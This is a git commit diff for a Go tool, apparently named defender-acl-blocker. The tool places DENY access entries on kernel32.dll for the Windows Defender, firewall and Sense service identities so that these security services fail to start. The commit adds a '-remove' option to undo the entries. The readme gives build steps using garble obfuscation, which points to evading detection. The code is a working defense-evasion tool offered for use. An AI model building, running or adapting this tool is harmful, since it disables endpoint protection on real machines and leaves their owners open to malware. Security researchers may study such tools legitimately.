Remove is now working

.gitignore

@@ -0,0 +1 @@
+.exe

main.go

@@ -48,12 +48,22 @@ var (
 	impersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
 	openProcessToken        = modadvapi32.NewProc("OpenProcessToken")
 	duplicateTokenEx        = modadvapi32.NewProc("DuplicateTokenEx")
+	procDeleteAce           = modadvapi32.NewProc("DeleteAce")
+	procInitializeAcl       = modadvapi32.NewProc("InitializeAcl")
 )
 
 func enableSeDebugPrivilege() error {
 	return winio.EnableProcessPrivileges([]string{"SeDebugPrivilege"})
 }
 
+func deleteAce(acl *windows.ACL, aceIndex uint32) (*windows.ACL, error) {
+	res, _, err := procDeleteAce.Call(uintptr(unsafe.Pointer(acl)), uintptr(aceIndex))
+	if res == 0 {
+		return nil, err
+	}
+	return acl, nil
+}
+
 func parseProcessName(exeFile [windows.MAX_PATH]uint16) string {
 	for i, v := range exeFile {
 		if v <= 0 {
@@ -195,6 +205,7 @@ func main() {
 	var services stringSlice
 	flag.Var(&services, "services", "List of services to disable (comma separated)")
 	targetdll := flag.String("target", "C:\\WINDOWS\\SYSTEM32\\KERNEL32.DLL", "Target to prohibit loading")
+	remove := flag.Bool("remove", false, "Remove all DENY ACLs from specified target rather than adding them")
 
 	flag.Parse()
 
@@ -234,32 +245,59 @@ func main() {
 		os.Exit(1)
 	}
 
-	var trusteelist []windows.EXPLICIT_ACCESS
+	var sids []*windows.SID
 	for _, service := range services {
-		defend, err := windows.StringToSid(serviceSid(service))
+		sid, err := windows.StringToSid(serviceSid(service))
 		if err != nil {
 			fmt.Printf("cannot convert SID to string: %v\n", err)
 			os.Exit(1)
 		}
-
-		trustee := windows.TrusteeValueFromSID(defend)
-
-		trusteelist = append(trusteelist, windows.EXPLICIT_ACCESS{
-			AccessPermissions: windows.GENERIC_ALL,
-			AccessMode:        windows.DENY_ACCESS,
-			Inheritance:       windows.NO_INHERITANCE,
-			Trustee: windows.TRUSTEE{
-				TrusteeForm:  windows.TRUSTEE_IS_SID,
-				TrusteeType:  windows.TRUSTEE_IS_UNKNOWN,
-				TrusteeValue: trustee,
-			},
-		})
+		sids = append(sids, sid)
 	}
 
-	newacl, err := windows.ACLFromEntries(trusteelist, acl)
-	if err != nil {
-		fmt.Printf("cannot create new ACL: %v\n", err)
-		os.Exit(1)
+	var newacl *windows.ACL
+	if *remove {
+		newacl = acl
+		var ace *windows.ACCESS_ALLOWED_ACE
+		i := 0
+		for {
+			err = windows.GetAce(newacl, uint32(i), &ace)
+			if err != nil {
+				fmt.Printf("Error getting ACE %v: %v\n", i, err)
+				os.Exit(1)
+			}
+			if ace.Header.AceType == windows.ACCESS_DENIED_ACE_TYPE {
+				newacl, err = deleteAce(newacl, uint32(i))
+				if err != nil {
+					fmt.Printf("Error deleting ACE %v: %v\n", i, err)
+					os.Exit(1)
+				}
+				continue
+			}
+			i++
+			if i >= int(acl.AceCount) {
+				break
+			}
+		}
+	} else {
+		var trusteelist []windows.EXPLICIT_ACCESS
+		for _, sid := range sids {
+			trusteelist = append(trusteelist, windows.EXPLICIT_ACCESS{
+				AccessPermissions: windows.GENERIC_ALL,
+				AccessMode:        windows.DENY_ACCESS,
+				Inheritance:       windows.NO_INHERITANCE,
+				Trustee: windows.TRUSTEE{
+					TrusteeForm:  windows.TRUSTEE_IS_SID,
+					TrusteeType:  windows.TRUSTEE_IS_UNKNOWN,
+					TrusteeValue: windows.TrusteeValueFromSID(sid),
+				},
+			})
+		}
+		newacl, err = windows.ACLFromEntries(trusteelist, acl)
+		if err != nil {
+			fmt.Printf("cannot create new ACL: %v\n", err)
+			os.Exit(1)
+		}
 	}
 
 	if err := windows.SetNamedSecurityInfo(

readme.md

@@ -15,13 +15,24 @@ Disable Microsoft Defender user space part with simple ACL deny ACL
 - build it: `cd defender-acl-blocker && garble -tiny -literals -seed=random build .`
 
 ### Run it:
-From elevated command prompt:
-
+From an elevated command prompt:
 ```
+# Standard run (adds DENY ACLs)
 defender-acl-blocker.exe
+
+# Undo changes (revokes applied ACLs)
+defender-acl-blocker.exe -remove
+
+# Custom targets and services
+defender-acl-blocker.exe -target C:\path\to\file.dll -services "Service1,Service2"
 ```
 
-Reboot. Defender primary user mode service can not start anymore.
+### Options:
+- `-remove`: Revokes access (removes entry) for the specified services instead of adding a DENY entry.
+- `-services`: A comma-separated list of service names to apply the ACL to (default: WinDefend, mpssvc, Sense, etc.).
+- `-target`: The file to apply the ACLs to (default: `C:\Windows\System32\kernel32.dll`).
+
+Reboot after applying changes. Defender primary user mode service can not start anymore.
 
 ## How it works